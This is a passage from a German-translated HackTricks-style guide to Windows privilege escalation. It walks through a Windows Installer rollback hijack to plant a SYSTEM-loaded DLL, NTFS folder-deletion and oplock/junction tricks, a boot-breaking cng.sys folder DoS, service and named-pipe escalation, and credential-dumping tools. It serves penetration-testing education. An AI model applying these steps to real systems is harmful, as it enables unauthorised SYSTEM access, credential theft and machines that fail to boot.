4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Von Administrator Medium zu High Integrity Level / UAC Bypass

Lies dies, um Integrity Levels kennenzulernen:

Integrity Levels

Lies dann dies, um mehr über UAC und UAC bypasses zu erfahren:

UAC - User Account Control

Von Arbitrary Folder Delete/Move/Rename zu SYSTEM EoP

Die in diesem Blogpost beschriebene Technik mit Exploit-Code hier verfügbar.

Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer auszunutzen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen bösartigen MSI-Installer erstellen, der verwendet wird, um den Ordner C:\Config.Msi zu kapern. Dieser Ordner wird später vom Windows Installer benutzt, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern, wobei die Rollback-Dateien so verändert werden, dass sie die bösartige Nutzlast enthalten.

Die zusammengefasste Technik sieht wie folgt aus:

  1. Stage 1 – Vorbereitung für die Hijack (lasse C:\Config.Msi leer)

  • Step 1: Install the MSI

  • Erstelle eine .msi, die eine harmlose Datei (z. B. dummy.txt) in einem beschreibbaren Ordner (TARGETDIR) installiert.

  • Markiere den Installer als "UAC Compliant", sodass ein non-admin user ihn ausführen kann.

  • Halte nach der Installation einen handle auf die Datei offen.

  • Step 2: Begin Uninstall

  • Deinstalliere dieselbe .msi.

  • Der Deinstallationsprozess beginnt, Dateien nach C:\Config.Msi zu verschieben und sie in .rbf-Dateien umzubenennen (Rollback-Backups).

  • Poll the open file handle mit GetFinalPathNameByHandle, um zu erkennen, wann die Datei zu C:\Config.Msi\<random>.rbf geworden ist.

  • Step 3: Custom Syncing

  • Die .msi beinhaltet eine custom uninstall action (SyncOnRbfWritten), die:

  • signalisiert, wenn .rbf geschrieben wurde.

  • und dann vor dem Fortfahren auf ein anderes Event wartet.

  • Step 4: Block Deletion of .rbf

  • Wenn signalisiert wird, öffne die .rbf-Datei ohne FILE_SHARE_DELETE — das verhindert deren Löschung.

  • Dann signal zurück, sodass die Deinstallation beendet werden kann.

  • Der Windows Installer kann die .rbf nicht löschen, und weil er nicht alle Inhalte löschen kann, wird C:\Config.Msi nicht entfernt.

  • Step 5: Manually Delete .rbf

  • Du (Angreifer) löschst die .rbf-Datei manuell.

  • Jetzt ist C:\Config.Msi leer und bereit zur Übernahme.

An diesem Punkt, trigger die SYSTEM-level arbitrary folder delete vulnerability, um C:\Config.Msi zu löschen.

  1. Stage 2 – Ersetzen der Rollback-Skripte durch bösartige

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Erstelle den Ordner C:\Config.Msi selbst neu.

  • Setze schwache DACLs (z. B. Everyone:F), und halte einen handle offen mit WRITE_DAC.

  • Step 7: Run Another Install

  • Installiere die .msi erneut, mit:

  • TARGETDIR: beschreibbarer Ort.

  • ERROROUT: Eine Variable, die einen erzwungenen Fehler auslöst.

  • Diese Installation wird verwendet, um erneut einen rollback auszulösen, der .rbs und .rbf liest.

  • Step 8: Monitor for .rbs

  • Verwende ReadDirectoryChangesW, um C:\Config.Msi zu überwachen, bis eine neue .rbs auftaucht.

  • Erfasse deren Dateinamen.

  • Step 9: Sync Before Rollback

  • Die .msi enthält eine custom install action (SyncBeforeRollback), die:

  • ein Event signalisiert, wenn die .rbs erstellt wurde.

  • und dann wartet, bevor sie weitermacht.

  • Step 10: Reapply Weak ACL

  • Nachdem das rbs created-Event empfangen wurde:

  • Der Windows Installer wendet starke ACLs erneut auf C:\Config.Msi an.

  • Aber da du noch einen handle mit WRITE_DAC hast, kannst du wieder schwache ACLs anwenden.

ACLs werden nur beim Öffnen eines Handles durchgesetzt, sodass du weiterhin in den Ordner schreiben kannst.

  • Step 11: Drop Fake .rbs and .rbf

  • Überschreibe die .rbs-Datei mit einem gefälschten Rollback-Skript, das Windows anweist:

  • Deine .rbf-Datei (bösartige DLL) in einen privilegierten Pfad wiederherzustellen (z. B. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Lege deine gefälschte .rbf ab, die eine bösartige SYSTEM-level payload DLL enthält.

  • Step 12: Trigger the Rollback

  • Signalisiere das Sync-Event, sodass der Installer fortfährt.

  • Eine type 19 custom action (ErrorOut) ist so konfiguriert, dass die Installation an einem bekannten Punkt absichtlich fehlschlägt.

  • Das verursacht, dass der Rollback beginnt.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • liest deine bösartige .rbs.

  • kopiert deine .rbf-DLL in den Zielpfad.

  • Du hast jetzt deine bösartige DLL in einem von SYSTEM geladenen Pfad.

  • Final Step: Execute SYSTEM Code

  • Starte ein vertrauenswürdiges auto-elevated binary (z. B. osk.exe), das die DLL lädt, die du hijacked hast.

  • Boom: Dein Code wird als SYSTEM ausgeführt.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

Die Haupt-MSI-Rollback-Technik (die vorherige) geht davon aus, dass du einen ganzen Ordner löschen kannst (z. B. C:\Config.Msi). Aber was, wenn deine Schwachstelle nur arbitrary file deletion erlaubt?

Du könntest die NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternate data stream namens:

C:\SomeFolder::$INDEX_ALLOCATION

Dieser Stream speichert die Index-Metadaten des Ordners.

Wenn Sie also den ::$INDEX_ALLOCATION-Stream eines Ordners löschen, entfernt NTFS den gesamten Ordner aus dem Dateisystem.

Sie können dies mit standardmäßigen Datei-Lösch-APIs wie folgt tun:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Auch wenn du eine file Lösch-API aufrufst, löscht sie den Ordner selbst.

Vom Löschen von Ordnerinhalten zu SYSTEM EoP

Was, wenn deine Primitive es nicht erlauben, beliebige Dateien/Ordner zu löschen, aber sie das Löschen des Inhalts eines vom Angreifer kontrollierten Ordners erlauben?

  1. Schritt 1: Köder-Ordner und Datei einrichten
  • Erstelle: C:\temp\folder1
  • Darin: C:\temp\folder1\file1.txt
  1. Schritt 2: Setze ein oplock auf file1.txt
  • Das oplock hält die Ausführung an, wenn ein privilegierter Prozess versucht, file1.txt zu löschen.
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Schritt 3: Den SYSTEM-Prozess auslösen (z. B. SilentCleanup)
  • Dieser Prozess durchsucht Ordner (z. B. %TEMP%) und versucht, deren Inhalt zu löschen.
  • Wenn er file1.txt erreicht, löst das oplock aus und übergibt die Kontrolle an deinen callback.
  1. Schritt 4: Innerhalb des oplock callback – die Löschung umleiten

  • Option A: Verschiebe file1.txt an einen anderen Ort

  • Dadurch wird folder1 geleert, ohne das oplock zu brechen.

  • Lösche file1.txt nicht direkt — das würde das oplock vorzeitig freigeben.

  • Option B: Wandle folder1 in eine junction um:

bash
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Option C: Erstelle einen symlink in \RPC Control:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Dies zielt auf den internen NTFS-Stream ab, der Ordner-Metadaten speichert — das Löschen davon löscht den Ordner.

  1. Schritt 5: Freigabe des oplock
  • Der SYSTEM-Prozess fährt fort und versucht, file1.txt zu löschen.
  • Aber jetzt, aufgrund der junction + symlink, löscht er tatsächlich:
C:\Config.Msi::$INDEX_ALLOCATION

Ergebnis: C:\Config.Msi wird von SYSTEM gelöscht.

Vom Erstellen beliebiger Ordner zu dauerhaftem DoS

Nutze eine Primitive, die es dir erlaubt, einen beliebigen Ordner als SYSTEM/admin zu erstellen — selbst wenn du keine Dateien schreiben kannst oder keine schwachen Berechtigungen setzen kannst.

Erstelle einen Ordner (keine Datei) mit dem Namen eines kritischen Windows-Treibers, z. B.:

C:\Windows\System32\cng.sys
  • Dieser Pfad entspricht normalerweise dem Kernel-Modus-Treiber cng.sys.
  • Wenn Sie ihn vorab als Ordner erstellen, kann Windows den tatsächlichen Treiber beim Booten nicht laden.
  • Windows versucht dann, cng.sys während des Bootvorgangs zu laden.
  • Es erkennt den Ordner, kann den eigentlichen Treiber nicht auflösen, und stürzt ab oder der Bootvorgang bleibt hängen.
  • Es gibt keine Fallback-Möglichkeit, und keine Wiederherstellung ohne externe Intervention (z. B. Boot-Reparatur oder Festplattenzugriff).

Von High Integrity zu SYSTEM

Neuer Dienst

Wenn Sie bereits in einem High-Integrity-Prozess laufen, kann der Weg zu SYSTEM einfach sein, indem Sie einfach einen neuen Dienst erstellen und ausführen:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Wenn Sie ein service binary erstellen, stellen Sie sicher, dass es ein gültiger Service ist oder dass das Binary die notwendigen Aktionen schnell genug ausführt, da es sonst nach 20s beendet wird.

AlwaysInstallElevated

Von einem High Integrity Prozess aus können Sie versuchen, die AlwaysInstallElevated registry entries zu aktivieren und eine reverse shell mit einem .msi Wrapper zu installieren.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Sie können find the code here.

Von SeDebug + SeImpersonate zu Full Token privileges

Wenn Sie diese Token-Privilegien haben (wahrscheinlich finden Sie diese bereits in einem High Integrity Prozess), können Sie mit dem SeDebug-Privileg fast jeden Prozess öffnen (nicht protected processes), das Token kopieren des Prozesses und einen beliebigen Prozess mit diesem Token erstellen.
Bei dieser Technik wählt man in der Regel irgendeinen Prozess, der als SYSTEM läuft und alle Token-Privilegien besitzt (ja, Sie können SYSTEM-Prozesse finden, die nicht alle Token-Privilegien haben).
You can find an example of code executing the proposed technique here.

Named Pipes

Diese Technik wird von meterpreter zur Eskalation in getsystem verwendet. Die Technik besteht darin, eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, damit er in diese Pipe schreibt. Anschließend kann der Server, der die Pipe unter Verwendung des SeImpersonate-Privilegs erstellt hat, das Token des Pipe-Clients (des Services) impersonifizieren und SYSTEM-Rechte erhalten.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Wenn es Ihnen gelingt, eine dll zu hijacken, die von einem als SYSTEM laufenden process geladen wird, können Sie mit diesen Rechten beliebigen Code ausführen. Daher ist Dll Hijacking auch für diese Art der Privilege Escalation nützlich und außerdem deutlich einfacher von einem high integrity process aus zu erreichen, da dieser write permissions auf den Ordnern hat, die zum Laden von dlls verwendet werden.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

Mehr Hilfe

Static impacket binaries

Nützliche Tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Prüft auf Fehlkonfigurationen und sensitive Dateien (check here). Detected.
JAWS -- Prüft auf einige mögliche Fehlkonfigurationen und sammelt Infos (check here).
privesc -- Prüft auf Fehlkonfigurationen
SessionGopher -- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal mit -Thorough verwenden.
Invoke-WCMDump -- Extrahiert Credentials aus dem Credential Manager. Detected.
DomainPasswordSpray -- Verteilt gesammelte Passwörter über die Domain
Inveigh -- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS Spoofer und Man-in-the-Middle Tool.
WindowsEnum -- Basis Windows Privesc-Enthüllung
Sherlock ~~~~ -- Suche nach bekannten Privesc-Schwachstellen (DEPRECATED für Watson)
WINspect -- Lokale Checks (Benötigt Admin-Rechte)

Exe

Watson -- Suche nach bekannten Privesc-Schwachstellen (muss mit VisualStudio kompiliert werden) (precompiled)
SeatBelt -- Durchsucht den Host nach Fehlkonfigurationen (mehr ein Info-Gathering-Tool als reines Privesc-Tool) (muss kompiliert werden) (precompiled)
LaZagne -- Extrahiert Credentials aus vielen Programmen (precompiled exe im GitHub)
SharpUP -- Port von PowerUp nach C#
Beroot ~~~~ -- Prüft auf Fehlkonfiguration (executable precompiled in github). Nicht empfohlen. Funktioniert nicht gut unter Win10.
Windows-Privesc-Check -- Prüft auf mögliche Fehlkonfigurationen (exe aus python). Nicht empfohlen. Funktioniert nicht gut unter Win10.

Bat

winPEASbat -- Tool basierend auf diesem Beitrag (benötigt accesschk nicht zwingend, kann es aber verwenden).

Local

Windows-Exploit-Suggester -- Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokales python)
Windows Exploit Suggester Next Generation -- Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokales python)

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks